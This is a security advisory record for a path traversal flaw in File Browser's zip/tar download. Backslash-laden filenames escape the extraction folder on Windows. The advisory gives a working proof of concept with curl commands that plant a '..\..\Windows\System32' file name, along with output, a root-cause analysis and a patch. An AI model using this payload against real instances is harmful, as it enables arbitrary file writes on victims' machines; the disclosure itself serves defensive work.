GHSA-GXJX-7M74-HCQ8
Vulnerability from github – Published: 2026-06-12 21:53 – Updated: 2026-06-12 21:53Summary
filebrowser builds the download-as-zip / download-as-tar archive entry names with filepath.ToSlash, which on a Linux host is a no-op for backslashes (\ is only a path separator on Windows). A file whose name contains Windows-style traversal (..\..\..\evil.txt) is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted verbatim as the archive entry name. Windows extractors (Explorer, 7-Zip, WinRAR, .NET ZipFile.ExtractToDirectory) interpret \ as a path separator and write the extracted file outside the extraction directory — arbitrary file write on the victim who downloads and extracts the archive.
Details
http/raw.go getFiles() constructs the in-archive name and passes it to github.com/mholt/archives@v0.1.5:
nameInArchive := strings.TrimPrefix(path, commonPath)
nameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))
nameInArchive = filepath.ToSlash(nameInArchive) // Linux no-op: ToSlash only rewrites '\' on Windows
archiveFiles = append(archiveFiles, archives.FileInfo{
FileInfo: info,
NameInArchive: nameInArchive,
Open: func() (fs.File, error) { return d.user.Fs.Open(path) },
})
On Linux filepath.Separator == '/', so filepath.ToSlash leaves any literal backslash in the stored filename untouched. mholt/archives nameOnDiskToNameInArchive then writes that name verbatim into the zip/tar central directory.
The filename reaches the filesystem because the resource create path (http/resource.go resourcePostHandler) derives the name from r.URL.Path and cleans it with path.Clean("/" + ...), which treats only / as a separator. A URL-encoded backslash segment (%5C) therefore survives cleaning, and the file is created on the Linux FS with a literal \ in its name. Any user with the Create permission (the default for new users, and signup-enabled instances let anyone self-register) can plant such a file.
PoC
Deployed against the official image filebrowser/filebrowser:v2.63.5 (current release, 2026-05-21).
# 1. Deploy
docker volume create fb-srv-vol
docker run -d --name fb-poc -p 8088:80 -v fb-srv-vol:/srv filebrowser/filebrowser:v2.63.5
# wait for /health == 200; read the generated admin password from `docker logs fb-poc`
PW="<password from docker logs>"
# 2. Authenticate
TOK=$(curl -s -X POST http://localhost:8088/api/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"admin\",\"password\":\"$PW\"}")
# 3. Create a folder, then a file whose NAME is a Windows traversal payload (backslash = %5C)
curl -s -o /dev/null -w "mkdir=%{http_code}\n" \
-X POST "http://localhost:8088/api/resources/evilzone/" -H "X-Auth: $TOK"
FNAME='..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cevil.txt'
curl -s -o /dev/null -w "putfile=%{http_code}\n" \
-X POST "http://localhost:8088/api/resources/evilzone/${FNAME}?override=true" \
-H "X-Auth: $TOK" --data-binary 'PWNED-BY-TONGHUAROOT'
# 4. Download the folder as a zip and inspect the entry name
curl -s -o /tmp/fb_evil.zip "http://localhost:8088/api/raw/evilzone?algo=zip" -H "X-Auth: $TOK"
python3 - <<'PY'
import zipfile, binascii
z = zipfile.ZipFile('/tmp/fb_evil.zip')
print("entries:", [i.orig_filename for i in z.infolist()])
data = open('/tmp/fb_evil.zip','rb').read()
idx = data.find(b'PK\x01\x02')
print("central-dir hex:", binascii.hexlify(data[idx:idx+72]).decode())
print("contains 0x5c backslash byte:", b'\x5c' in data[idx:idx+200])
PY
Observed output (verbatim):
mkdir=200
putfile=200
entries: ['..\\..\\..\\..\\..\\Windows\\System32\\evil.txt']
central-dir hex: 504b01021403140008080000f002c25cc0fcca3f1400000014000000280009000000000000000000a081000000002e2e5c2e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c537973
contains 0x5c backslash byte: True
Server-side, the file exists with a literal backslash name:
-rw-r----- 1 user user 20 ..\..\..\..\..\Windows\System32\evil.txt
The central-directory hex tail 2e2e5c 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797973... decodes to ..\..\..\..\..\Windows\Sys....
Negative control — a normal filename produces a clean entry, and a forward-slash traversal is correctly stripped by path.Clean:
safezone entries: ['normal.txt']
PUT ..%2F..%2Fevil2.txt -> HTTP 301 (collapsed by path.Clean; nothing escapes)
This proves / is handled but \ is the unhandled gap.
To observe the Windows-side traversal effect, extract fb_evil.zip on Windows:
Expand-Archive -Path .\fb_evil.zip -DestinationPath .\out -Force
# 7-Zip / WinRAR with default settings honor the ..\ parents and write outside .\out
Impact
Arbitrary file write (CWE-22) on any party who downloads a folder/selection as an archive from filebrowser and extracts it on Windows. The attacker is any authenticated user with Create permission (or an anonymous user on signup-enabled instances); the victim is typically an administrator or another user who is given access to the attacker's directory (e.g. via a share) and downloads it as a zip/tar. Because filebrowser is frequently deployed as a multi-user file server, this crosses a trust boundary: a low-privileged or untrusted uploader can plant files that compromise the machine of anyone who downloads and extracts the archive on Windows (e.g. writing to Startup folders or overwriting executables/config in the extraction root's parent tree).
Affected versions
All current versions through v2.63.5 (verified against the v2.63.5 release image). The filepath.ToSlash-based normalization in http/raw.go getFiles() is the root cause; github.com/mholt/archives@v0.1.5 passes the name through verbatim.
Suggested fix
Normalize Windows separators out of the in-archive name regardless of host OS, in http/raw.go getFiles() before constructing archives.FileInfo:
nameInArchive = filepath.ToSlash(nameInArchive)
nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "/") // strip Windows separators on any host
Optionally also reject or sanitize filenames containing \ at create time in http/resource.go so backslash names cannot be stored at all. This mirrors the canonical fix for the equivalent Gotenberg issue, where POSIX-only filepath.Base likewise failed to strip backslashes on Linux.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.63.5"
},
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.63.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54093"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-12T21:53:18Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nfilebrowser builds the download-as-zip / download-as-tar archive entry names with `filepath.ToSlash`, which on a Linux host is a no-op for backslashes (`\\` is only a path separator on Windows). A file whose name contains Windows-style traversal (`..\\..\\..\\evil.txt`) is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted **verbatim** as the archive entry name. Windows extractors (Explorer, 7-Zip, WinRAR, .NET `ZipFile.ExtractToDirectory`) interpret `\\` as a path separator and write the extracted file **outside** the extraction directory \u2014 arbitrary file write on the victim who downloads and extracts the archive.\n\n### Details\n`http/raw.go` `getFiles()` constructs the in-archive name and passes it to `github.com/mholt/archives@v0.1.5`:\n```go\nnameInArchive := strings.TrimPrefix(path, commonPath)\nnameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))\nnameInArchive = filepath.ToSlash(nameInArchive) // Linux no-op: ToSlash only rewrites \u0027\\\u0027 on Windows\narchiveFiles = append(archiveFiles, archives.FileInfo{\n FileInfo: info,\n NameInArchive: nameInArchive,\n Open: func() (fs.File, error) { return d.user.Fs.Open(path) },\n})\n```\nOn Linux `filepath.Separator == \u0027/\u0027`, so `filepath.ToSlash` leaves any literal backslash in the stored filename untouched. `mholt/archives` `nameOnDiskToNameInArchive` then writes that name verbatim into the zip/tar central directory.\n\nThe filename reaches the filesystem because the resource create path (`http/resource.go` `resourcePostHandler`) derives the name from `r.URL.Path` and cleans it with `path.Clean(\"/\" + ...)`, which treats only `/` as a separator. A URL-encoded backslash segment (`%5C`) therefore survives cleaning, and the file is created on the Linux FS with a literal `\\` in its name. Any user with the **Create** permission (the default for new users, and signup-enabled instances let anyone self-register) can plant such a file.\n\n### PoC\nDeployed against the official image `filebrowser/filebrowser:v2.63.5` (current release, 2026-05-21).\n\n```bash\n# 1. Deploy\ndocker volume create fb-srv-vol\ndocker run -d --name fb-poc -p 8088:80 -v fb-srv-vol:/srv filebrowser/filebrowser:v2.63.5\n# wait for /health == 200; read the generated admin password from `docker logs fb-poc`\nPW=\"\u003cpassword from docker logs\u003e\"\n\n# 2. Authenticate\nTOK=$(curl -s -X POST http://localhost:8088/api/login \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\\\"username\\\":\\\"admin\\\",\\\"password\\\":\\\"$PW\\\"}\")\n\n# 3. Create a folder, then a file whose NAME is a Windows traversal payload (backslash = %5C)\ncurl -s -o /dev/null -w \"mkdir=%{http_code}\\n\" \\\n -X POST \"http://localhost:8088/api/resources/evilzone/\" -H \"X-Auth: $TOK\"\nFNAME=\u0027..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cevil.txt\u0027\ncurl -s -o /dev/null -w \"putfile=%{http_code}\\n\" \\\n -X POST \"http://localhost:8088/api/resources/evilzone/${FNAME}?override=true\" \\\n -H \"X-Auth: $TOK\" --data-binary \u0027PWNED-BY-TONGHUAROOT\u0027\n\n# 4. Download the folder as a zip and inspect the entry name\ncurl -s -o /tmp/fb_evil.zip \"http://localhost:8088/api/raw/evilzone?algo=zip\" -H \"X-Auth: $TOK\"\npython3 - \u003c\u003c\u0027PY\u0027\nimport zipfile, binascii\nz = zipfile.ZipFile(\u0027/tmp/fb_evil.zip\u0027)\nprint(\"entries:\", [i.orig_filename for i in z.infolist()])\ndata = open(\u0027/tmp/fb_evil.zip\u0027,\u0027rb\u0027).read()\nidx = data.find(b\u0027PK\\x01\\x02\u0027)\nprint(\"central-dir hex:\", binascii.hexlify(data[idx:idx+72]).decode())\nprint(\"contains 0x5c backslash byte:\", b\u0027\\x5c\u0027 in data[idx:idx+200])\nPY\n```\n\n**Observed output (verbatim):**\n```\nmkdir=200\nputfile=200\nentries: [\u0027..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil.txt\u0027]\ncentral-dir hex: 504b01021403140008080000f002c25cc0fcca3f1400000014000000280009000000000000000000a081000000002e2e5c2e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c537973\ncontains 0x5c backslash byte: True\n```\nServer-side, the file exists with a literal backslash name:\n```\n-rw-r----- 1 user user 20 ..\\..\\..\\..\\..\\Windows\\System32\\evil.txt\n```\nThe central-directory hex tail `2e2e5c 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797973...` decodes to `..\\..\\..\\..\\..\\Windows\\Sys...`.\n\n**Negative control** \u2014 a normal filename produces a clean entry, and a forward-slash traversal is correctly stripped by `path.Clean`:\n```\nsafezone entries: [\u0027normal.txt\u0027]\nPUT ..%2F..%2Fevil2.txt -\u003e HTTP 301 (collapsed by path.Clean; nothing escapes)\n```\nThis proves `/` is handled but `\\` is the unhandled gap.\n\nTo observe the Windows-side traversal effect, extract `fb_evil.zip` on Windows:\n```powershell\nExpand-Archive -Path .\\fb_evil.zip -DestinationPath .\\out -Force\n# 7-Zip / WinRAR with default settings honor the ..\\ parents and write outside .\\out\n```\n\n### Impact\nArbitrary file write (CWE-22) on any party who downloads a folder/selection as an archive from filebrowser and extracts it on Windows. The attacker is any authenticated user with Create permission (or an anonymous user on signup-enabled instances); the victim is typically an administrator or another user who is given access to the attacker\u0027s directory (e.g. via a share) and downloads it as a zip/tar. Because filebrowser is frequently deployed as a multi-user file server, this crosses a trust boundary: a low-privileged or untrusted uploader can plant files that compromise the machine of anyone who downloads and extracts the archive on Windows (e.g. writing to Startup folders or overwriting executables/config in the extraction root\u0027s parent tree).\n\n### Affected versions\nAll current versions through v2.63.5 (verified against the v2.63.5 release image). The `filepath.ToSlash`-based normalization in `http/raw.go` `getFiles()` is the root cause; `github.com/mholt/archives@v0.1.5` passes the name through verbatim.\n\n### Suggested fix\nNormalize Windows separators out of the in-archive name regardless of host OS, in `http/raw.go` `getFiles()` before constructing `archives.FileInfo`:\n```go\nnameInArchive = filepath.ToSlash(nameInArchive)\nnameInArchive = strings.ReplaceAll(nameInArchive, \"\\\\\", \"/\") // strip Windows separators on any host\n```\nOptionally also reject or sanitize filenames containing `\\` at create time in `http/resource.go` so backslash names cannot be stored at all. This mirrors the canonical fix for the equivalent Gotenberg issue, where POSIX-only `filepath.Base` likewise failed to strip backslashes on Linux.",
"id": "GHSA-gxjx-7m74-hcq8",
"modified": "2026-06-12T21:53:18Z",
"published": "2026-06-12T21:53:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-gxjx-7m74-hcq8"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/commit/847d08bdd135e5c3659f2e6dea2f0cd36617af9b"
},
{
"type": "PACKAGE",
"url": "https://github.com/filebrowser/filebrowser"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.63.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:N/SI:H/SA:L",
"type": "CVSS_V4"
}
],
"summary": "File Browser: FilePath traversal in download-as-zip/tar via Windows-style backslash separators in stored filenames"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
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- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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